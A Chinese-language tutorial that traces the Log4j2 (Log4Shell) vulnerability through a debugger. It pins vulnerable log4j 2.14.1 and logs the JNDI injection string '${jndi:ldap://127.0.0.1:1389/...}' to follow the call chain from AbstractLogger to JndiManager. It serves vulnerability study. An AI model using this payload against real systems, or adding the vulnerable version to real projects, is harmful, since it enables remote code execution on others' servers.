本文已制作成视频为大家讲解:揭秘Log4j2漏洞的四个关键点

环境搭建

我们写一个小例子,来跟一下Log4j2漏洞中的方法调用

先添加maven依赖

1
2
3
4
5
6
7
8
9
10
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.1</version>
</dependency>

编写测试代码

1
2
3
4
5
6
7
8
9
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Log4j2RCE {
public static void main(String[] args) {
Logger logger = LogManager.getLogger(Log4j2RCE.class);
logger.error("${jndi:ldap://127.0.0.1:1389/1vtanq}");
}
}

注意:运行环境为jdk1.8

为了分析调用链,我们在org.apache.logging.log4j.core.net.JndiManager类的lookup方法打上断点

我们看到该方法调用了javax.naming.Context类的lookup方法,该方法可能会产生JNDI注入漏洞

image-20240103205154150

启动debug,分析方法调用栈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
lookup:172, JndiManager (org.apache.logging.log4j.core.net)
lookup:56, JndiLookup (org.apache.logging.log4j.core.lookup)
lookup:221, Interpolator (org.apache.logging.log4j.core.lookup)
resolveVariable:1110, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:1033, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:912, StrSubstitutor (org.apache.logging.log4j.core.lookup)
replace:467, StrSubstitutor (org.apache.logging.log4j.core.lookup)
format:132, MessagePatternConverter (org.apache.logging.log4j.core.pattern)
format:38, PatternFormatter (org.apache.logging.log4j.core.pattern)
toSerializable:344, PatternLayout$PatternSerializer (org.apache.logging.log4j.core.layout)
toText:244, PatternLayout (org.apache.logging.log4j.core.layout)
encode:229, PatternLayout (org.apache.logging.log4j.core.layout)
encode:59, PatternLayout (org.apache.logging.log4j.core.layout)
directEncodeEvent:197, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryAppend:190, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
append:181, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryCallAppender:156, AppenderControl (org.apache.logging.log4j.core.config)
callAppender0:129, AppenderControl (org.apache.logging.log4j.core.config)
callAppenderPreventRecursion:120, AppenderControl (org.apache.logging.log4j.core.config)
callAppender:84, AppenderControl (org.apache.logging.log4j.core.config)
callAppenders:540, LoggerConfig (org.apache.logging.log4j.core.config)
processLogEvent:498, LoggerConfig (org.apache.logging.log4j.core.config)
log:481, LoggerConfig (org.apache.logging.log4j.core.config)
log:456, LoggerConfig (org.apache.logging.log4j.core.config)
log:63, DefaultReliabilityStrategy (org.apache.logging.log4j.core.config)
log:161, Logger (org.apache.logging.log4j.core)
tryLogMessage:2205, AbstractLogger (org.apache.logging.log4j.spi)
logMessageTrackRecursion:2159, AbstractLogger (org.apache.logging.log4j.spi)
logMessageSafely:2142, AbstractLogger (org.apache.logging.log4j.spi)
logMessage:2017, AbstractLogger (org.apache.logging.log4j.spi)
logIfEnabled:1983, AbstractLogger (org.apache.logging.log4j.spi)
error:740, AbstractLogger (org.apache.logging.log4j.spi)

AbstractLogger类的error方法,调用到JndiManagerlookup方法,在该方法中调用了javax.naming.Context类的lookup方法,一共33层方法调用。

我们简单分析其中几个重要的类和方法:

1. AbstractLogger#error()

logger是一个Logger类的对象,调用error方法,但是看调用栈是直接调用了AbstractLogger类的error方法,这是为什么呢?我们来分析一下。

Logger类是一个接口,声明了一个抽象方法error()和一些其他的基本的日志记录方法

image-20240104161407084

因此,在实际执行过程中会调用实现了 Logger 接口的具体类的error() 方法。那为什么实际调用中选择AbstractLogger类呢?答案在LogManager.getLogger()方法中。

getLogger()会一直调用到org.apache.logging.log4j.core.LoggerContext类的getLogger方法

image-20240104165921031

image-20240104165928163

其中logger由newInstance()方法生成,调用org.apache.logging.log4j.core.Logger类的构造方法创建了一个实例。

image-20240104170354057

而构造方法中使用super先调用父类的构造方法,我们可以看到其父类就是AbstractLogger

因此在logger.error实际执行过程中会调用实现了 Logger 接口的AbstractLogger类的error() 方法

该处有些文章说“由于Logger中没有error方法,会调用其父类AbstractLogger中的error方法”,我感觉这样说可能会有些不妥。

2. PatternLayout#toSerializable

这里的formatters[8]是一个MessagePatternConverter对象,然后调用其format方法

image-20240104211336167

这个方法的作用是将格式化的内容添加到workingBuilder中,当检测到workingBuilder中存在占位符${}时,会调用replace方法来替换占位符

image-20240104211916091

3. StrSubstitutor#replace

这里开始解析${}中间的内容,以用来在workingBuilder中替换这个占位符

image-20240104212347530

取出${}中间的jndi:ldap://127.0.0.1:1389/1vtanq,然后调用resolveVariable方法解析

image-20240104212655076

获取一个VariableResolver,这是一个Map,其中就包括待会儿会用到的JndiLookup

image-20240104213137350

然后取出前缀jndi,根据前缀拿到JndiLookup,后面调用了其lookup方法

image-20240104213411818

4. JndiLookup#lookup

JndiLookup类的lookup方法中调用了JndiManager类的lookup方法

image-20240104213846456

也就回到了一开始我们打断点的地方,这里调用了javax.naming.Context类的lookup方法,该方法可能会产生JNDI注入漏洞

image-20240202210215867